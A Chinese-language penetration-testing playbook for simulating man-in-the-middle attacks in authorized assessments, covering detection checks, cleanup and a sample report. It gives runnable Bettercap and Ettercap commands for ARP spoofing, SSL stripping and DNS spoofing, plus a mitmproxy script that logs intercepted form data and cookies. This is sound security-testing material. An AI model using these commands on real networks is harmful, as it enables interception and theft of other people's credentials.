conducting-man-in-the-middle-attack-simulation

实施中间人攻击模拟

何时使用

• 测试应用程序是否正确验证 TLS 证书并强制实施加密通信
• 向组织利益相关者展示明文协议（HTTP、FTP、Telnet、SMTP）的风险
• 验证 HSTS、证书固定及其他反 MITM 控制措施是否正确实施
• 评估针对 ARP 欺骗、DHCP 欺骗和 DNS 欺骗攻击的网络检测能力
• 培训事件响应团队识别和响应 MITM 攻击指标

请勿在未经明确书面授权且没有回滚计划的生产网络上使用，请勿针对您不拥有或未获测试许可的系统使用，也请勿用于拦截未涉事第三方的通信。

前置条件

• 明确说明范围内目标和已批准 MITM 技术的书面授权
• 在攻击机上安装 Bettercap 2.x、Ettercap 和 mitmproxy
• 与目标主机处于同一网段的二层访问权限
• 用于 TLS 拦截测试的自定义 CA 证书（专为该参与项目生成）
• 用于捕获和验证被拦截流量的 Wireshark 或 tshark
• 隔离的实验环境或已批准的生产测试窗口及回滚流程

工作流

步骤 1：搭建攻击环境

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

步骤 2：使用 Bettercap 执行基于 ARP 的 MITM

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show

# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# Start ARP spoofing
> arp.spoof on

# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on

# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on

步骤 3：使用 mitmproxy 拦截 HTTP/HTTPS 流量

# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # Log authentication cookies
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow

步骤 4：执行 DNS 欺骗和 DHCP 攻击

# DNS spoofing with Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirect target domain to attacker's web server
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF

sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//

# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on

# Set up a phishing page on the attacker machine
sudo python3 -m http.server 80 --directory /var/www/phishing/

步骤 5：验证检测并测试控制措施

# Verify certificate pinning is working on the target application
# If the app rejects the MITM CA, certificate pinning is effective
# Check the target machine for certificate errors

# Test HSTS enforcement
# If browser refuses HTTP connection after initial HTTPS, HSTS is working
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"

# Verify IDS detection of ARP spoofing
# Check Snort/Suricata alerts for ARP anomalies
grep -i "arp" /var/log/snort/alert_fast.txt

# Check if switch detected the attack (DAI logs)
# On Cisco switch: show ip arp inspection log

# Test network monitoring tools
# Verify that Zeek generated appropriate notices
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg

# Capture evidence of successful/failed interception
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300

步骤 6：清理并记录结果

# Stop all MITM attacks
# In Bettercap:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit

# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Verify ARP tables are restored on target hosts
# The target should re-learn correct MAC addresses via normal ARP

# Force ARP cache refresh (from target machine)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1

# Remove test CA certificate from any systems where it was installed
# Remove capture files containing sensitive data per engagement agreement

# Generate documentation
echo "MITM Simulation completed at $(date)" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt

关键概念

术语	定义
中间人（MITM）	攻击者秘密拦截并可能篡改两方之间通信的攻击，而这两方认为他们在直接通信
SSL 剥离	一种降级攻击，通过在 TLS 升级前拦截初始 HTTP 请求，将 HTTPS 连接转换为 HTTP，从而绕过加密
HSTS（HTTP 严格传输安全）	浏览器安全策略，通过缓存加密连接要求来强制使用 HTTPS 连接并防止 SSL 剥离
证书固定	应用程序安全控制措施，依据预先配置的受信任证书集验证服务器证书，从而检测 MITM 代理证书
ARP 缓存投毒	一种二层攻击技术，通过破坏目标主机的 ARP 缓存，将流量重定向经过攻击者的机器
透明代理	无需客户端配置即可拦截流量的代理，通常使用 iptables REDIRECT 规则捕获发往标准端口的流量

工具与系统

• Bettercap 2.x：网络攻击的瑞士军刀，支持 ARP/DNS/DHCP 欺骗、HTTP/HTTPS 代理和凭据嗅探，采用模块化架构
• mitmproxy：支持 TLS 的交互式代理，用于拦截、检查和修改 HTTP/HTTPS 流量，并支持 Python 脚本
• Ettercap：传统 MITM 工具，支持 ARP 欺骗、DNS 欺骗和基于插件的流量操纵
• sslstrip：通过代理 HTTP 到 HTTPS 重定向并提供降级 HTTP 版本，实现 SSL 剥离攻击的工具
• Wireshark：数据包分析器，用于验证流量拦截并捕获 MITM 尝试成功或失败的证据

常见场景

场景：测试内部 Web 应用是否强制启用 HTTPS

背景：某开发团队声称其内部 Web 应用通过 HSTS 和证书固定来强制启用 HTTPS。安全团队需要在获得授权的评估过程中验证这些控制措施。该应用运行在 10.10.20.50 上，由 10.10.1.0/24 VLAN 中的工作站访问。

方法：

1. 在同一 VLAN 上部署 Bettercap，并对测试工作站（10.10.1.100）进行 ARP 欺骗
2. 通过 Bettercap 的 HTTP 代理启用 SSL 剥离，以测试该应用是否可被降级为 HTTP
3. 使用测试 CA 证书启用 HTTPS 拦截，以测试证书校验
4. 尝试从测试工作站访问该应用，观察浏览器或应用是否拒绝连接
5. 验证 HSTS 响应头是否存在，并且具有适当的 max-age 值
6. 记录以下情况：胖客户端未实现证书固定（接受 MITM CA），而 Web 浏览器由于 HSTS 预加载而正确拒绝该证书
7. 建议在胖客户端应用中实现证书固定

易犯错误：

• 忘记启用 IP 转发，导致拒绝服务，而不是透明拦截
• 在浏览器已预加载 HSTS 的应用上测试 SSL 剥离，并据此得出 HSTS 有效的结论，而全新的浏览器实例可能存在漏洞
• 测试后未清理 ARP 欺骗，导致目标出现间歇性连接问题
• 运行 mitmproxy 时未加透明模式标志，需要手动配置代理，从而改变了测试条件

输出格式

## MITM Simulation Report

**Test ID**: MITM-2024-001
**Date**: 2024-03-15 14:00-16:00 UTC
**Target Application**: https://app.internal.corp (10.10.20.50)
**Test Workstation**: 10.10.1.100
**Attacker Machine**: 10.10.1.99

### Control Validation Results

| Control | Status | Details |
|---------|--------|---------|
| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |
| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |
| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox |
| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |
| Cert Pinning (Browser) | N/A | Standard CA validation only |
| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |
| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |

### Recommendations
1. Implement certificate pinning in the thick client (high priority)
2. Add HSTS preload list submission for the domain
3. Enable DAI on access-layer switches for Layer 2 protection
4. Configure application to reject connections from non-pinned certificates